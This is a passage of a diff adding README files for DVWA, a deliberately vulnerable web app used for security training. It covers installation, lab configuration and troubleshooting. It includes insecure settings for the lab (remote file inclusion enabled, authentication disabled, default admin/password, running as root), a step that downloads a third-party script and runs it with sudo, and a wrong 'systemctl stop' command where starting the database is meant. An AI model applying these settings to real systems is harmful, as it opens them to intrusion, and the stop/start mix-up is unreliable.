'README.xx.md' 파일을 추가하십시오. 여기서 xx는 원하는 언어의 두 글자 코드([ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) 기반)입니다. + +## 다운로드 + +DVWA에는 여러 가지 버전이 있지만, 유일하게 지원되는 버전은 공식 GitHub 저장소에서 제공하는 최신 소스입니다. 저장소에서 클론할 수 있습니다: + +``` +git clone https://github.com/digininja/DVWA.git +``` + +또는 [파일의 ZIP을 다운로드](https://github.com/digininja/DVWA/archive/master.zip)할 수 있습니다. + +- - - + +## 설치 + +### 자동 설치 🛠️ + +**참고: 이것은 공식 DVWA 스크립트가 아니며, [IamCarron](https://github.com/iamCarron/)에 의해 작성되었습니다. 스크립트를 작성하는 데 많은 노력이 들어갔으며, 작성 당시에는 악의적인 행동을 하지 않았지만, 시스템에서 무작정 실행하기 전에 스크립트를 검토하는 것이 좋습니다. 버그가 발견되면 이곳이 아닌 [IamCarron](https://github.com/iamCarron/)에게 보고해 주세요.** + +Debian 기반 머신(Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS 등)에서 DVWA를 자동으로 구성하는 스크립트입니다. + +**참고: 이 스크립트는 루트 권한이 필요하며 Debian 기반 시스템에 맞춰져 있습니다. 반드시 루트 사용자로 실행하세요.** + +#### 설치 요구 사항 + +- **운영 체제:** Debian 기반 시스템 (Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS) +- **권한:** 루트 사용자로 실행 + +#### 설치 단계 + +1. **스크립트 다운로드:** + ```bash + wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh + ``` + +2. **스크립트 실행 권한 부여:** + ```bash + chmod +x Install-DVWA.sh + ``` + +3. **루트로 스크립트 실행:** + ```bash + sudo ./Install-DVWA.sh + ``` + +### 설치 동영상 + +- [VirtualBox에서 실행 중인 Kali에 DVWA 설치](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- [Windows에서 XAMPP를 사용하여 DVWA 설치](https://youtu.be/Yzksa_WjnY0) +- [Windows 10에 Damn Vulnerable Web Application (DVWA) 설치](https://www.youtube.com/watch?v=cak2lQvBRAo) + +### Windows + XAMPP + +가장 쉬운 DVWA 설치 방법은 [XAMPP](https://www.apachefriends.org/)를 다운로드하여 설치하는 것입니다. 이미 웹 서버가 설정되어 있지 않은 경우에 유용합니다. + +XAMPP는 Linux, Solaris, Windows 및 Mac OS X용으로 설치하기 쉬운 Apache 배포판입니다. 이 패키지에는 Apache 웹 서버, MySQL, PHP, Perl, FTP 서버 및 phpMyAdmin이 포함되어 있습니다. + +이 [비디오](https://youtu.be/Yzksa_WjnY0)는 Windows에 대한 설치 과정을 안내하지만, 다른 OS에서도 유사할 것입니다. + +### Docker + +[hoang-himself](https://github.com/hoang-himself)와 [JGillam](https://github.com/JGillam) 덕분에 `master` 브랜치에 대한 모든 커밋은 Docker 이미지를 빌드하고 GitHub Container Registry에서 내려받을 수 있게 합니다. + +얻을 수 있는 것에 대한 자세한 내용은 [사전 빌드된 Docker 이미지](https://github.com/digininja/DVWA/pkgs/container/dvwa)를 참조하십시오. + +#### 시작하기 + +선행 요건: Docker 및 Docker Compose. + +- Docker Desktop을 사용하는 경우, 두 가지가 이미 설치되어 있어야 합니다. +- Linux에서 Docker Engine을 선호하는 경우, [설치 가이드](https://docs.docker.com/engine/install/#server)를 따라 설치하세요. + +**위에서 언급한 최신 Docker 릴리스에 대한 지원을 제공합니다.** +Linux에서 패키지 관리자를 통해 제공된 Docker 패키지를 사용하는 경우에도 작동할 가능성이 있지만, 지원은 최선의 노력을 다합니다. + +패키지 관리자 버전에서 업스트림으로 Docker를 업그레이드하려면 [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) 등에서 설명하는 대로 이전 버전을 제거해야 합니다. +Docker 데이터(컨테이너, 이미지, 볼륨 등)는 영향을 받지 않아야 하지만 문제가 발생하면 [Docker에 알리고](https://www.docker.com/support) 검색 엔진을 사용하는 것이 좋습니다. + +그런 다음 시작하려면: + +1. `docker version` 및 `docker compose version`을 실행하여 Docker 및 Docker Compose가 제대로 설치되었는지 확인하세요. 출력에서 해당 버전을 확인할 수 있어야 합니다. + + 예를 들어: + + ```text + >>> docker version + Client: + [...] + Version: 23.0.5 + [...] + + Server: Docker Desktop 4.19.0 (106363) + Engine: + [...] + Version: 23.0.5 + [...] + + >>> docker compose version + Docker Compose version v2.17.3 + ``` + + 아무것도 표시되지 않거나 명령어를 찾을 수 없다는 오류가 발생하면 Docker 및 Docker Compose를 설정하기 위한 필수 조건을 따르세요. + +2. 이 리포지토리를 클론하거나 다운로드하여 압축을 풉니다 (참조 [다운로드](#download)). +3. 선택한 터미널을 열고 작업 디렉터리를 이 폴더(`DVWA`)로 변경합니다. +4. `docker compose up -d`를 실행합니다. + +이제 DVWA는 `http://localhost:4280`에서 사용할 수 있습니다. + +**컨테이너에서 DVWA를 실행할 때, 웹 서버는 일반적인 포트 80 대신 포트 4280에서 수신 대기하고 있습니다.** +이 결정에 대한 자세한 내용은 [다른 포트에서 DVWA를 실행하고 싶습니다](#i-want-to-run-dvwa-on-a-different-port)를 참조하세요. + +#### 로컬 빌드 + +로컬에서 변경 사항을 적용하고 프로젝트를 빌드하려면 `compose.yml` 파일에서 `pull_policy: always`를 `pull_policy: build`로 변경하십시오. + +`docker compose up -d`를 실행하면 레지스트리에 무엇이 있든 상관없이 Docker가 로컬에서 이미지를 빌드하도록 트리거됩니다. + +참조: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy). + +### PHP 버전 + +이상적으로는 최신 안정 버전의 PHP를 사용하는 것이 좋습니다. 이는 이 앱이 개발 및 테스트되는 버전입니다. + +PHP 5.x를 사용하려는 사람에게는 지원이 제공되지 않습니다. + +7.3 미만의 버전은 문제가 발생할 수 있는 알려진 이슈가 있으며, 대부분의 앱은 작동하겠지만 무작위로 문제가 발생할 수 있습니다. 아주 좋은 이유가 없는 한, 그렇게 오래된 버전을 사용하는 경우 지원이 제공되지 않습니다. + +### Linux 패키지 + +Debian 기반 Linux 배포판을 사용하는 경우, 다음 패키지 _(또는 이에 상응하는 것)_ 를 설치해야 합니다: + +- apache2 +- libapache2-mod-php +- mariadb-server +- mariadb-client +- php +- php-mysqli +- php-gd + +모든 최신 버전을 받기 위해 설치 전에 업데이트를 수행하는 것이 좋습니다. + +``` +apt update +apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php +``` + +이 사이트는 MariaDB 대신 MySQL로도 작동하지만, MySQL을 올바르게 작동시키기 위해 변경해야 하는 반면, MariaDB는 별다른 설정 없이 바로 작동하므로 MariaDB를 강력히 추천합니다. + +## 구성 + +### 설정 파일 + +DVWA에는 해당 위치에 복사한 다음 적절한 변경 사항을 가할 필요가 있는 설정 파일의 더미 복사본이 함께 제공됩니다. 리눅스에서는 DVWA 디렉토리에 있는 것으로 가정하면 다음과 같이 수행할 수 있습니다: + +`cp config/config.inc.php.dist config/config.inc.php` + +Windows에서는 파일 확장자를 숨기는 경우 조금 더 어려울 수 있습니다. 이에 대해 자세히 알아보려면 다음 블로그 포스트를 참조하세요: + +[Windows에서 파일 확장자 표시하는 방법](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/) + +### 데이터베이스 설정 + +데이터베이스를 설정하려면, 단순히 주 메뉴의 `Setup DVWA` 버튼을 클릭한 다음 `Create / Reset Database` 버튼을 클릭하면 됩니다. 이렇게 하면 데이터베이스가 생성되거나 재설정되며 일부 데이터가 포함됩니다. + +데이터베이스를 생성하는 동안 오류가 발생하면 `./config/config.inc.php` 내의 데이터베이스 자격 증명이 올바른지 확인하십시오. *이는 예제 파일인 config.inc.php.dist와 다릅니다.* + +변수는 다음과 같이 기본값으로 설정됩니다: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306'; +$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +참고로, MySQL 대신 MariaDB를 사용하는 경우 (Kali의 기본값은 MariaDB입니다), 데이터베이스 루트 사용자를 사용할 수 없으므로 새 데이터베이스 사용자를 생성해야 합니다. 이를 위해 루트 사용자로 데이터베이스에 연결한 다음 다음 명령을 사용하십시오: + +```mysql +mysql> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +mysql> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +mysql> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +mysql> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### 인증 비활성화 + +일부 도구는 인증을 사용할 수 없으므로 DVWA와 함께 사용할 수 없습니다. 이를 해결하기 위해 인증 확인을 비활성화하는 구성 옵션이 있습니다. 이를 위해 설정 파일에서 다음을 설정하면 됩니다: + +```php +$_DVWA[ 'disable_authentication' ] = true; +``` + +또한 테스트하려는 내용에 적합한 보안 수준으로 보안 수준을 설정해야 합니다: + +```php +$_DVWA[ 'default_security_level' ] = 'low'; +``` + +이 상태에서는 로그인할 필요 없이 모든 기능에 액세스할 수 있습니다. + +### 폴더 권한 + +* `./hackable/uploads/` - 웹 서비스에 의해 쓰기 가능해야 합니다 (파일 업로드를 위해). + +### PHP 구성 + +리눅스 시스템에서는 일반적으로 `/etc/php/x.x/fpm/php.ini` 또는 `/etc/php/x.x/apache2/php.ini`에서 찾을 수 있습니다. + +* 원격 파일 포함 (RFI)을 허용하려면: + * `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] + * `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] + +* PHP가 모든 오류 메시지를 표시하도록 하려면: + * `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + * `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)] + +변경 사항을 적용한 후 php 서비스 또는 Apache를 다시 시작하는지 확인하세요. + +### reCAPTCHA + +이는 "Insecure CAPTCHA" 랩에서만 필요하며 해당 랩을 사용하지 않는다면 이 섹션을 무시할 수 있습니다. + +에서 API 키 쌍을 생성합니다. + +그런 다음 이 키는 `./config/config.inc.php`의 다음 섹션에 들어갑니다: + +* `$_DVWA[ 'recaptcha_public_key' ]` +* `$_DVWA[ 'recaptcha_private_key' ]` + +### 기본 자격 증명 + +**기본 사용자 이름 = `admin`** + +**기본 암호 = `password`** + +_... 쉽게 브루트 포스될 수 있음 ;)_ + +로그인 URL: http://127.0.0.1/login.php + +_참고: DVWA를 다른 디렉토리에 설치한 경우 이 URL이 다를 수 있습니다._ + + +- - - + +## 문제 해결 + +이 문제 해결 방법은 Debian 기반 배포판인 Debian, Ubuntu 및 Kali를 사용한다고 가정합니다. 다른 배포판의 경우 해당 명령을 업데이트하여 따르세요. + +### 컨테이너 + +#### 로그에 접근하고 싶어요 + +Docker Desktop을 사용하는 경우 로그는 그래픽 애플리케이션에서 접근할 수 있습니다. +새로운 버전에서 약간의 세부 사항이 변경될 수 있지만 접근 방법은 동일해야 합니다. + +![DVWA compose 개요](./docs/graphics/docker/overview.png) +![DVWA 로그 보기](docs/graphics/docker/detail.png) + +로그는 터미널에서도 확인할 수 있습니다. + +1. 터미널을 열고 작업 디렉토리를 DVWA로 변경하세요. +2. 병합된 로그 표시 + + ```shell + docker compose logs + ``` + + 로그를 파일로 내보내려는 경우, 예를 들어 `dvwa.log` + + ```shell + docker compose logs >dvwa.log + ``` + +#### 다른 포트에서 DVWA 실행하고 싶어요 + +기본적으로 포트 80을 사용하지 않는 이유는 몇 가지 있습니다. + +- 일부 사용자는 이미 포트 80에서 무언가를 실행 중일 수 있습니다. +- 일부 사용자는 루트리스 컨테이너 엔진(예: Podman)을 사용할 수 있으며 80은 특권 포트(< 1024)입니다. 추가 구성(예: `net.ipv4.ip_unprivileged_port_start` 설정)이 필요하지만 직접 조사해야 합니다. + +`compose.yml` 파일에서 포트 바인딩을 변경하여 DVWA를 다른 포트에서 노출할 수 있습니다. +예를 들어, + +```yml +ports: + - 127.0.0.1:4280:80 +``` + +를 + +```yml +ports: + - 127.0.0.1:8806:80 +``` + +로 변경할 수 있습니다. + +DVWA는 이제 `http://localhost:8806`에서 접근할 수 있습니다. + +디바이스에서만 독점적으로 DVWA에 액세스하고 싶을 때가 있습니다(예: 워크샵을 위한 테스트 머신을 설정하는 경우), 로컬 네트워크에서도 액세스할 수 있도록 하려면 포트 매핑에서 `127.0.0.1:`을 제거하거나(또는 LAN IP로 대체)하세요. 이렇게 하면 모든 사용 가능한 디바이스에서 수신됩니다. 안전한 기본 설정은 항상 로컬 루프백 디바이스에서만 수신하는 것입니다. 결국, 이것은 사용자의 머신에서 실행되는 위험한 웹 응용 프로그램입니다. + +#### Docker 실행 시 DVWA 자동 시작 + +포함된 [`compose.yml`](./compose.yml) 파일은 Docker가 시작될 때 자동으로 DVWA와 해당 데이터베이스를 실행합니다. + +이 기능을 비활성화하려면 [`compose.yml`](./compose.yml) 파일에서 `restart: unless-stopped` 라인을 삭제하거나 주석 처리하세요. + +이 동작을 일시적으로 비활성화하려면 `docker compose stop`을 실행하거나 Docker Desktop을 사용하여 `dvwa`를 찾아 중지를 클릭하세요. +또는 컨테이너를 삭제하거나 `docker compose down`을 실행할 수 있습니다. + +### 로그 파일 + +리눅스 시스템에서는 Apache가 기본적으로 두 가지 로그 파일을 생성합니다. `access.log`와 `error.log`로, 데비안 기반 시스템에서는 보통 `/var/log/apache2/`에 있습니다. + +에러 보고서, 문제 등을 제출할 때, 적어도 각각의 파일의 마지막 다섯 줄을 포함해야 합니다. 데비안 기반 시스템에서는 다음과 같이 가져올 수 있습니다. + +``` +tail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log +``` + +### 사이트에 접속하여 404 오류가 발생했습니다 + +이 문제가 발생하면 파일 위치를 이해해야 합니다. 기본적으로 Apache 문서 루트(웹 콘텐츠를 찾는 곳)는 `/var/www/html`입니다. 이 디렉토리에 파일 `hello.txt`을 넣은 경우에는 `http://localhost/hello.txt`로 접속해야 합니다. + +디렉토리를 만들고 파일을 넣은 경우 - `/var/www/html/mydir/hello.txt` - 그러면 `http://localhost/mydir/hello.txt`로 접속해야 합니다. + +리눅스는 기본적으로 대소문자를 구분하므로 위의 예에서는 다음에 대한 `404 Not Found`가 발생합니다. + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +이것이 DVWA에 어떻게 영향을 미치는가요? 대부분의 사람들은 DVWA를 `/var/www/html`에 체크아웃하기 때문에 모든 DVWA 파일이 들어 있는 `/var/www/html/DVWA/` 디렉토리가 생깁니다. 그런 다음 `http://localhost/`로 접속하면 `404` 또는 기본 Apache 환영 페이지를 받게 됩니다. 파일이 DVWA에 있으므로 `http://localhost/DVWA`로 접속해야 합니다. + +다른 흔한 실수는 `http://localhost/dvwa`로 접속하는 것입니다. 이는 리눅스 디렉토리 매칭에 따라 `dvwa`가 `DVWA`가 아니기 때문에 `404`가 발생합니다. + +따라서 설치 후에 사이트에 접속하여 `404`를 받는 경우, 파일을 어디에 설치했는지, 문서 루트와의 관계는 무엇인지, 사용한 디렉토리의 경우를 고려하세요. + +### 설정 실행 중 "Access denied" 오류가 발생했습니다 + +설치 스크립트를 실행하는 도중 다음을 보게 되면, 설정 파일의 사용자 이름 또는 비밀번호가 데이터베이스에 구성된 것과 일치하지 않는다는 것입니다. + +``` +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +이 오류는 사용자 이름이 `notdvwa`임을 알려줍니다. + +다음 오류는 설정 파일을 잘못된 데이터베이스에 연결한 것입니다. + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +이것은 사용자가 `dvwa` 사용자를 사용하고 `notdvwa` 데이터베이스에 연결하려고 시도했다고 말하고 있습니다. + +첫 번째 할 일은 설정 파일에 입력한 것이 실제로 있는지 확인하는 것입니다. + +예상한 대로 맞는다면, 다음으로 할 일은 명령 줄에서 사용자로 로그인할 수 있는지 확인하는 것입니다. 데이터베이스 사용자가 `dvwa`이고 암호가 `p@ssw0rd`인 경우 다음 명령을 실행하세요. + +``` +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +*참고: `-p` 뒤에 공백이 없습니다.* + +다음과 같이 보인다면, 암호가 올바릅니다. + +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +명령 줄에서 연결할 수 있다면, 설정 파일에 무엇인가 잘못된 것이 있을 확률이 높습니다. 그러면 설정을 다시 확인한 후 문제를 해결할 수 없으면 문제를 제기하세요. + +다음과 같은 내용을 보게 되면 사용자 이름 또는 비밀번호가 잘못되었습니다. [Database Setup](#database-setup) 단계를 반복하고 전체 과정에서 동일한 사용자 이름과 암호를 사용했는지 확인하세요. + +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` + +다음과 같은 내용을 보게 되면 사용자 자격 증명은 올바르지만 사용자가 데이터베이스에 액세스할 수 없습니다. 다시 설정 단계를 반복하고 사용 중인 데이터베이스 이름을 확인하세요. + +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +마지막으로 다음과 같은 오류를 볼 수 있습니다. + +``` +ERROR 2002 (HY000): 로컬 MySQL 서버에 소켓 '/var/run/mysqld/mysqld.sock'을(를) 통해 연결할 수 없습니다 (2) +``` + +이것은 인증 문제가 아니라 데이터베이스 서버가 실행되지 않았음을 나타냅니다. 다음 명령으로 시작하세요. + +```sh +sudo service mysql start +``` + +### 연결 거부 + +다음과 유사한 오류가 발생하는 경우: + +``` +Fatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535 +``` + +데이터베이스 서버가 실행되지 않거나 구성 파일에 잘못된 IP 주소가 있는 것을 의미합니다. + +구성 파일에서 데이터베이스 서버가 예상되는 위치를 확인하려면 이 줄을 확인하십시오: + +``` +$_DVWA[ 'db_server' ] = '127.0.0.1'; +``` + +그런 다음이 서버로 이동하여 실행 중인지 확인하십시오. Linux에서는 다음과 같이 수행할 수 있습니다: + +``` +systemctl status mariadb.service +``` + +다음과 같은 내용을 찾으시면 됩니다. 중요한 부분은 `active (running)`이라고 명시된 부분입니다. + +``` +● mariadb.service - MariaDB 10.5.19 database server + Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled) + Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago +``` + +실행 중이 아니라면 다음과 같이 시작할 수 있습니다: + +``` +sudo systemctl stop mariadb.service +``` + +`sudo`에 유의하고 요청 시 Linux 사용자 암호를 입력하십시오. + +Windows에서는 XAMPP 콘솔에서 상태를 확인하십시오. + +### 알려지지 않은 인증 방법 + +가장 최신 버전의 MySQL에서 PHP는 기본 구성으로 데이터베이스와 통신할 수 없게 되었습니다. 설정 스크립트를 실행하려고 하고 다음 메시지가 표시되는 경우 구성이 잘못되었음을 의미합니다. + +``` +Database Error #2054: The server requested authentication method unknown to the client. +``` + +두 가지 옵션이 있습니다. 가장 쉬운 방법은 MySQL을 제거하고 MariaDB를 설치하는 것입니다. 다음은 MariaDB 프로젝트의 공식 가이드입니다: + + + +또는 다음 단계를 따르세요: + +1. 루트로 다음 파일을 편집하십시오: `/etc/mysql/mysql.conf.d/mysqld.cnf` +2. `[mysqld]` 아래에 다음을 추가하십시오: + `default-authentication-plugin=mysql_native_password` +3. 데이터베이스를 다시 시작하십시오: `sudo service mysql restart` +4. 데이터베이스 사용자의 인증 방법을 확인하십시오: + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` + +5. `caching_sha2_password`를 보게 될 것입니다. 그렇다면 다음 명령을 실행하십시오: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + +6. 다시 확인을 실행하면 이제 `mysql_native_password`를 볼 수 있어야 합니다. + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` + +이 모든 과정을 거친 후 설정 프로세스가 정상적으로 작동해야 합니다. + +더 많은 정보가 필요하면 다음 페이지를 참조하십시오: . + +### 데이터베이스 오류 #2002: 해당 파일 또는 디렉터리가 없습니다. + +데이터베이스 서버가 실행되지 않습니다. Debian 기반 배포판에서는 다음 명령을 사용하여 실행할 수 있습니다: + +```sh +sudo service mysql start +``` + +### "MySQL 서버가 종료되었습니다" 및 "패킷 순서가 잘못되었습니다" 오류 + +이러한 오류가 발생하는 몇 가지 이유가 있지만, 가장 가능성이 높은 이유는 실행 중인 데이터베이스 서버 버전이 PHP 버전과 호환되지 않기 때문입니다. + +이는 MySQL의 최신 버전을 실행 중일 때 가장 흔하게 발생하는 현상입니다. PHP와 MySQL이 잘 동작하지 않습니다. 가장 좋은 조언은 MySQL을 버리고 MariaDB를 설치하는 것입니다. 이는 우리가 지원할 수 없는 문제입니다. + +더 많은 정보는 다음을 참조하십시오: + + + +### 명령 삽입이 작동하지 않습니다 + +Apache가 웹 서버에서 명령을 실행할 충분한 권한을 갖고 있지 않을 수 있습니다. Linux에서 DVWA를 실행 중인 경우 root로 로그인했는지 확인하십시오. Windows에서는 관리자로 로그인하십시오. + +### CentOS에서 데이터베이스가 연결되지 않는 이유는 무엇입니까? + +SELinux와 관련된 문제로 인해 문제가 발생할 수 있습니다. SELinux를 비활성화하거나 다음 명령을 실행하여 웹 서버가 데이터베이스와 통신할 수 있도록 합니다: + +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### 그 외 문제 + +최신 문제 해결 정보를 위해 git 저장소의 열린 및 닫힌 티켓을 모두 읽어보십시오: + + + +티켓을 제출하기 전에 저장소에서 최신 코드를 실행 중인지 확인하십시오. 이것은 최신 릴리스가 아니라 master 브랜치의 최신 코드입니다. + +티켓을 제출할 때 다음 정보를 적어도 제출하십시오: + +- 운영 체제 +- 오류가 발생한 직후 웹 서버 오류 로그의 마지막 5줄 +- 데이터베이스 인증 문제인 경우 위의 단계를 따라서 각 단계의 스크린샷을 찍어 제출하십시오. 이것들을 데이터베이스 사용자 및 암호가 표시된 구성 파일 섹션의 스크린샷과 함께 제출하십시오. +- 문제가 발생한 상황에 대한 완전한 설명, 기대하는 동작 및 문제를 해결하기 위해 시도한 내용에 대한 설명입니다. "로그인이 고장나 있음"만으로는 문제를 이해하고 해결하는 데 충분하지 않습니다. + +- - - + +## 튜토리얼 + +일부 취약점을 식별하고 그것을 감지하고 그것을 악용하는 방법을 보여주는 튜토리얼 비디오를 만들어 보겠습니다. 지금까지 제작한 튜토리얼은 다음과 같습니다: + +[Reflected XSS 찾기 및 악용하기](https://youtu.be/V4MATqtdxss) + +- - - + +## SQLite3 SQL Injection + +_SQL Injection과 Blind SQL Injection은 기본적으로 사이트에서 사용하는 MariaDB/MySQL 서버에 대해 수행됩니다. 그러나 SQLite3에 대한 SQL Injection 테스트를 수행할 수도 있습니다._ + +_SQLite3를 PHP와 함께 작동시키는 방법에 대해 다루지 않겠지만, `php-sqlite3` 패키지를 설치하고 활성화하는 것으로 간단히 설정할 수 있습니다._ + +_전환하기 위해 구성 파일을 수정하고 다음 라인을 추가하거나 편집하십시오:_ + +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +_기본적으로 `database/sqli.db` 파일을 사용하며, 문제가 발생하면 단순히 `database/sqli.db.dist` 파일을 덮어쓰면 됩니다._ + +_도전 과제는 MySQL과 정확히 동일하며, SQLite3에서 실행됩니다._ + +- - - + +👨‍💻 기여자 +----- + +_모든 기여하신 분들께 감사드립니다. :heart:_ + +_아이디어, 개선 사항 또는 단순히 협력하고자 하시면 언제든지 기여하고 프로젝트에 참여할 수 있습니다. PR을 보내 주시기 바랍니다._ + +

+ + + +

+ +- - - + +## 취약점 보고 + +_간단히 말해서, 부디 그러지 마십시오!_ + +_매년 누군가가 앱에서 발견한 취약점을 보고하는 경우가 있습니다. 어떤 것은 잘 쓰여진 보고서이며 유료 펜 테스트 보고서보다 나을 때도 있습니다. 어떤 것은 그저 "헤더가 누락되었습니다, 제게 돈을 주세요"입니다._ + +_2023년에는 누군가가 CVE 요청을 통해 하나의 취약점에 대한 CVE를 받았습니다. 그들에게 [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848)가 부여되었습니다. 많은 재미있는 일이 일어나고 시간이 소비되었습니다._ + +_앱에는 취약점이 있습니다. 이는 고의입니다. 대부분은 교훈으로 작동하는 잘 알려진 것들이며, 다른 것들은 "숨겨진" 것들입니다. 당신의 기술로 숨겨진 추가 기능을 찾아내고 싶다면, 블로그 포스트를 작성하거나 비디오를 만들어 찾은 방법 및 이들을 알아보는 사람들이 있을 수 있습니다. 우리에게 링크를 보내주시면 참조 목록에 포함할 수도 있습니다._ + +## 링크 + +프로젝트 홈: + +*DVWA 팀 제작* \ No newline at end of file diff --git a/DVWA/README.md b/DVWA/README.md new file mode 100644 index 00000000..cf05d88e --- /dev/null +++ b/DVWA/README.md @@ -0,0 +1,748 @@ +# DAMN VULNERABLE WEB APPLICATION + +Damn Vulnerable Web Application (DVWA) is a PHP/MariaDB web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment. + +The aim of DVWA is to **practice some of the most common web vulnerabilities**, with **various levels of difficulty**, with a simple straightforward interface. +Please note, there are **both documented and undocumented vulnerabilities** with this software. This is intentional. You are encouraged to try and discover as many issues as possible. +- - - + +## WARNING! + +Damn Vulnerable Web Application is damn vulnerable! **Do not upload it to your hosting provider's public html folder or any Internet facing servers**, as they will be compromised. It is recommended using a virtual machine (such as [VirtualBox](https://www.virtualbox.org/) or [VMware](https://www.vmware.com/)), which is set to NAT networking mode. Inside a guest machine, you can download and install [XAMPP](https://www.apachefriends.org/) for the web server and database. + +### Disclaimer + +We do not take responsibility for the way in which any one uses this application (DVWA). We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA, it is not our responsibility, it is the responsibility of the person/s who uploaded and installed it. + +- - - + +## License + +This file is part of Damn Vulnerable Web Application (DVWA). + +Damn Vulnerable Web Application (DVWA) is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +Damn Vulnerable Web Application (DVWA) is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with Damn Vulnerable Web Application (DVWA). If not, see . + +- - - + +## Internationalisation + +This file is available in multiple languages: + +- Arabic: [العربية](README.ar.md) +- Chinese: [简体中文](README.zh.md) +- French: [Français](README.fr.md) +- Korean: [한국어](README.ko.md) +- Persian: [فارسی](README.fa.md) +- Polish: [Polski](README.pl.md) +- Portuguese: [Português](README.pt.md) +- Spanish: [Español](README.es.md) +- Turkish: [Türkçe](README.tr.md) +- Indonesia: [Indonesia](README.id.md) +- Vietnamese: [Vietnamese](README.vi.md) +- Italian: [Italiano](README.it.md) + +If you would like to contribute a translation, please submit a PR. Note though, this does not mean just run it through Google Translate and send that in, those will be rejected. Submit your translated version by adding a new 'README.xx.md' file where xx is the two-letter code of your desired language (based on [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)). + +- - - + +## Download + +While there are various versions of DVWA around, the only supported version is the latest source from the official GitHub repository. You can either clone it from the repo: + +```sh +git clone https://github.com/digininja/DVWA.git +``` + +Or [download a ZIP of the files](https://github.com/digininja/DVWA/archive/master.zip). + +- - - + +## Installation + +### Automated Installation 🛠️ + +**Note, this is not an official DVWA script, it was written by [IamCarron](https://github.com/iamCarron/). A lot of work went into creating the script and, when it was created, it did not do anything malicious, however it is recommended you review the script before blindly running it on your system, just in case. Please report any bugs to [IamCarron](https://github.com/iamCarron/), not here.** + +An automated configuration script for DVWA on Debian-based machines, including Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS... + +**Note: This script requires root privileges and is tailored for Debian-based systems. Ensure you are running it as the root user.** + +#### Installation Requirements + +- **Operating System:** Debian-based system (Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS) +- **Privileges:** Execute as root user + +#### Installation Steps + +##### One-Liner + +This will download an install script written by [@IamCarron](https://github.com/IamCarron) and run it automatically. This would not be included here if we did not trust the author and the script as it was when we reviewed it, but there is always the chance of someone going rogue, and so if you don't feel safe running someone else's code without reviewing it yourself, follow the manual process and you can review it once downloaded. + 